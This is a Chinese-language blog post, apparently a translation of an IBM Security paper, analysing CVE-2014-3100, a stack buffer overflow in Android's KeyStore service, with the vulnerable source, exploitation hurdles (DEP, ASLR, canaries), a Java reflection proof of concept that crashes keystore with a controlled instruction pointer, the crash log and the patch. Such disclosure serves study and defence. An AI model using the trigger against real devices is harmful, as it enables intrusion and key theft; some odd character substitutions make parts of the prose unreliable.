/*

本文章由 莫灰灰 编写,转载请注明出处。

作者:莫灰灰    邮箱: minzhenfei@163.com

*/

1. KeyStore Service

在Android中,/system/bin/keystore进程提供了一个安全存储的服务。在过去的版本号中。其它程序主要用过UNIX socket的守护进程/dev/socket/keystore去訪问这个服务。

然而。如今我们能够通过Binder机制去訪问它。

每个Android用户都有一块其私有的安全存储区域。

全部秘钥信息使用一个随机key并用AES加密算法加密。加密好的密文採用另外一个key加密后保存到本地磁盘。

(后面的key通过PKCS5_PBKDF2_HMAC_SHA1函数算出来的)

在最近的一些Android版本号中,证书管理(比如RSA算法的私有key)是能够通过专门的硬件做支持的。这也就是说。keystore的key仅仅是用来标识存储在专有硬件上的真正key。

虽然有专有硬件的支持,可是还是会有一些证书,比如VPN PPTP的证书,依旧会保存在本地磁盘上。

图一非常好的阐述了keystore安全存储机制的工作原理。

当然,很多其它的关于keystore服务的一些内部信息大家都能够在网上找到相关资料。

2. Simplicity

通过源码(keystore.c)中的凝视我们能够知道KeyStore被设计出来的时候想的稍微简单了点:

/* KeyStore is a secured storage for key-value pairs. In this implementation,
* each file stores one key-value pair. Keys are encoded in file names, and
* values are encrypted with checksums. The encryption key is protected by a
* user-defined password. To keep things simple, buffers are always larger than
* the maximum space we needed, so boundary checks on buffers are omitted.*/

代码实现起来尽管简单,可是缓冲区的大小并不总是比他们设想的最大空间要小。

3. Vulnerability

easy被攻击的缓冲区主要是在KeyStore::getKeyForName函数中。

ResponseCode getKeyForName (
<span style="white-space:pre"> </span>Blob * keyBlob ,
<span style="white-space:pre"> </span>const android :: String8 & keyName ,
<span style="white-space:pre"> </span>const uid_t uid ,
<span style="white-space:pre"> </span>const BlobType type )
{
char filename [ NAME_MAX ];
encode_key_for_uid ( filename , uid , keyName );
...
}

这个函数有好几个调用者,外部程序能够非常easy的通过Binder接口来调用它。(比如。int32_t android::KeyStoreProxy::get(const String16& name, uint8_t** item, size_t*

itemLength))。因此,恶意程序能够非常轻松的控制变量keyName的值和长度。

接下来,encode_key_for_uid函数中调用了encode_key函数,这个函数在没有边界检查的情况下会造成filename的缓冲区溢出。

static int encode_key_for_uid (
char * out ,
uid_t uid ,
const android :: String8 & keyName )
{
int n = snprintf ( out , NAME_MAX , "% u_ ", uid );
out += n;
return n + encode_key ( out , keyName );
} static int encode_key (
char * out ,
const android :: String8 & keyName )
{
const uint8_t * in = reinterpret_cast < const uint8_t * >( keyName . string ());
size_t length = keyName . length ();
for ( int i = length ; i > 0; --i , ++ in , ++ out ) {
if (* in < '0' || * in > '~ ') {
* out = '+' + (* in >> 6);
*++ out = '0' + (* in & 0 x3F );
++ length ;
} else {
* out = * in ;
}
}
* out = '\0 ';
return length ;
}

4. Exploitation

恶意程序假设要使用这个漏洞,那么还须要解决例如以下几个问题:

(1).数据运行保护(DEP)。这个能够採用Return-Oriented Programming (ROP)的方法绕过。

(2).地址随机化(ASLR)。

(3).堆栈检測(Stack Canaries)。

(4).编码。小于0x30 ('0')或者大于0x7e ('~')的字符会被编码之后再写回到缓存区中。

只是好在Android KeyStore服务被结束了之后立即会重新启动,这个特性加大了攻击成功的概率。此外,攻击者理论上能够使用ASLR去对抗编码。

5. Impact

各种信息泄露

6. Proof-of-concept

能够通过下面Java代码触发漏洞:

Class keystore = Class.forName("android.security.KeyStore");
Method mGetInstance = keystore.getMethod ("getInstance");
Method mGet = keystore.getMethod ("get", String.class);
Object instance = mGetInstance.invoke( null ); inf
mGet.invoke( instance ,
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ");

执行上述代码后。KeyStore进程奔溃,日志例如以下:

F/ libc ( 2091): Fatal signal 11 ( SIGSEGV ) at 0 x61616155 ( code =1) , thread 2091 ( keystore )

I/ DEBUG ( 949): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***

I/ DEBUG ( 949): Build fingerprint : ' generic_x86 / sdk_x86 / generic_x86 :4.3/ JSS15

J/ eng . android - build .20130801.155736: eng / test - keys '

I/ DEBUG ( 949): Revision : '0'

I/ DEBUG ( 949): pid : 2091 , tid : 2091 , name : keystore >>> / system / bin / keystore <<<

I/ DEBUG ( 949): signal 11 ( SIGSEGV ), code 1 ( SEGV_MAPERR ) , fault addr 61616155

I/ DEBUG ( 949): eax 61616161 ebx b7779e94 ecx bff85ed0 edx b777a030

I/ DEBUG ( 949): esi b82a78a0 edi 000003 e8

I/ DEBUG ( 949): xcs 00000073 xds 0000007 b xes 0000007 b xfs 00000000 xss 0000007 b

I/ DEBUG ( 949): eip b7774937 ebp 61616161 esp bff85d20 flags 00010202

I/ DEBUG ( 949):

I/ DEBUG ( 949): backtrace :

I/ DEBUG ( 949): #00 pc 0000 c937 / system / bin / keystore ( KeyStore :: getKeyForName ( Blob * ,

android :: String8 const & ,

unsigned int , BlobType )+695)

I/ DEBUG ( 949):

I/ DEBUG ( 949): stack :

I/ DEBUG ( 949): bff85ce0 00000000

...

I/ DEBUG ( 949): bff85d48 00000007

I/ DEBUG ( 949): bff85d4c bff85ed0 [ stack ]

I/ DEBUG ( 949): bff85d50 bff8e1bc [ stack ]

I/ DEBUG ( 949): bff85d54 b77765a3 / system / bin / keystore

I/ DEBUG ( 949): bff85d58 b7776419 / system / bin / keystore

I/ DEBUG ( 949): bff85d5c bff85ed4 [ stack ]

I/ DEBUG ( 949): ........ ........

I/ DEBUG ( 949):

I/ DEBUG ( 949): memory map around fault addr 61616155:

I/ DEBUG ( 949): ( no map below )

I/ DEBUG ( 949): ( no map for address )

I/ DEBUG ( 949): b72ba000 - b73b8000 r -- / dev / binder

7. Patch

getKeyForName函数不再使用C风格的字符串去保存filename了。另外,使用了getKeyNameForUidWithDir函数去替代encode_key_for_uid生成编码的密钥名。前者正确的计算了编码后密钥的长度。

ResponseCode getKeyForName ( Blob * keyBlob , const android :: String8 & keyName , const uid_t uid ,
const BlobType type ) {
android :: String8 filepath8 ( getKeyNameForUidWithDir ( keyName , uid ));
...
}
android :: String8 getKeyNameForUidWithDir ( const android :: String8 & keyName , uid_t uid ) {
char encoded [ encode_key_length ( keyName ) + 1]; // add 1 for null char
encode_key ( encoded , keyName );
return android :: String8 :: format ("% s /% u_ %s ", getUserState ( uid ) -> getUserDirName () , uid ,
encoded );
}

原paper:http://www.slideshare.net/ibmsecurity/android-keystorestackbufferoverflow

Android KeyStore Stack Buffer Overflow (CVE-2014-3100)的更多相关文章

  1. CVE-2016-2502-drivers/usb/gadget/f_serial.c in the Qualcomm USB driver in Android. Buffer Overflow Vulnerability reported by #plzdonthackme, Soctt.

    CVE-2016-2502-drivers/usb/gadget/f_serial.c in the Qualcomm USB driver in Android.Buffer Overflow Vu ...

  2. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  3. Buffer Overflow Study

    -- These days I learned and studied buffer overflow. I like to write on the paper and it can keep sy ...

  4. buffer overflow

    Computer Systems A Programmer's Perspective Second Edition We have seen that C does not perform any ...

  5. buffer overflow vulnerabilitie

    Computer Systems A Programmer's Perspective Second Edition Avoiding security holes.For many years,bu ...

  6. ORA-20000: ORU-10027: buffer overflow, limit of 10000 bytes

        要用dbms_output.put_line来输出语句,遇到以下错误: ERROR 位于第 1 行: ORA-20000: ORU-10027: buffer overflow, limit ...

  7. 【OOB】MSHTML!CPaste­Command::Convert­Bitmapto­Png heap-based buffer overflow学习

    IE 11 MSHTML!CPaste­Command::Convert­Bitmapto­Png heap-based buffer overflow学习 MS14-056, CVE-2014-41 ...

  8. 缓存溢出Buffer Overflow

    缓存溢出(Buffer overflow),是指在存在缓存溢出安全漏洞的计算机中,攻击者可以用超出常规长度的字符数来填满一个域,通常是内存区地址.在某些情况下,这些过量的字符能够作为“可执行”代码来运 ...

  9. (原创)攻击方式学习之(3) - 缓冲区溢出(Buffer Overflow)

    堆栈溢出 堆栈溢出通常是所有的缓冲区溢出中最容易进行利用的.了解堆栈溢出之前,先了解以下几个概念: 缓冲区 简单说来是一块连续的计算机内存区域,可以保存相同数据类型的多个实例. 堆栈     堆 栈是 ...

随机推荐

  1. Jsoup一个简短的引论——采用Java抓取网页数据

    转载请注明出处:http://blog.csdn.net/allen315410/article/details/40115479 概述 jsoup 是一款Java 的HTML解析器,可直接解析某个U ...

  2. 提高duilib的richedit控制的一些特征

    转载请注明原始出处.谢谢~~:http://blog.csdn.net/zhuhongshu/article/details/41208207 假设要使用透明异形窗口功能,首先要改进duilib库让他 ...

  3. ASP.Net中使用XMLDataSource

    在Web开发中,程序和数据库打交道是常有的事情.在平时使用过程中,使用较多的是MS SQLSERVER,因此经常用到SQLDataSource将数据绑定的数据控件上.有时数据量较小,无需要在数据库中创 ...

  4. BZOJ 1823 JSOI 2010 盛宴 2-SAT

    标题效果:有着n材料的种类,m陪审团. 每种材料具有两种不同的方法.每个法官都有两个标准.做出来的每一个法官的菜必须至少满足一个需求. 问:是否有这样一个程序. 思考:2-SAT经典的内置图形问题.因 ...

  5. axure & Markman

    axure & Markman学习总结 最近学了几款有意思的软件,一款是axure,另一款是Markman.接下来聊聊自己的学习心得吧. 关于axure,百度上的解释是:是一个专业的快速原型设 ...

  6. 怎么在android的XML文件里加入凝视

    android的XML文件凝视一般採用 <!--凝视内容 -->的方式进行 在XML中,形如    <Button           />      的表示方式,当中&quo ...

  7. don't touch your phone in any unfamiliar way(转)

    直到这两天 Chainfire 说,他正尝试在不修改手机 /System 分区的情况下获取 Android 系统 Root 权限,我才想起他在今年 9 月轻描淡写地提到自己已经把 SuperSU 卖给 ...

  8. 第三十讲:Android之Animation(五)

    天行健,君子以自强不息.--<周易·乾·象> 本讲内容:逐帧动画 Frame Animation 逐帧动画 Frame Animation就是说一帧一帧的连起来播放就变成了动画,和放电影的 ...

  9. web富客户端应用下,前端架构、系列(二)。

    序 我们在上面的文章中已经建立起来一个比较简单的 前端架构 虽然这个看上去很简陋. 不过毕竟也是思想的结晶. 从这一篇文章开始,我将陆续完善这一个前端架构.. 重新构思 上一篇我们把前端架构分为3个模 ...

  10. 第7章 桥接模式(Bridge Pattern)

    原文 第7章 桥接模式(Bridge Pattern) 定义: 在软件系统中,某些类型由于自身的逻辑,它具有两个或多个维度的变化,那么如何应对这种“多维度的变化”?如何利用面向对象的技术来使得该类型能 ...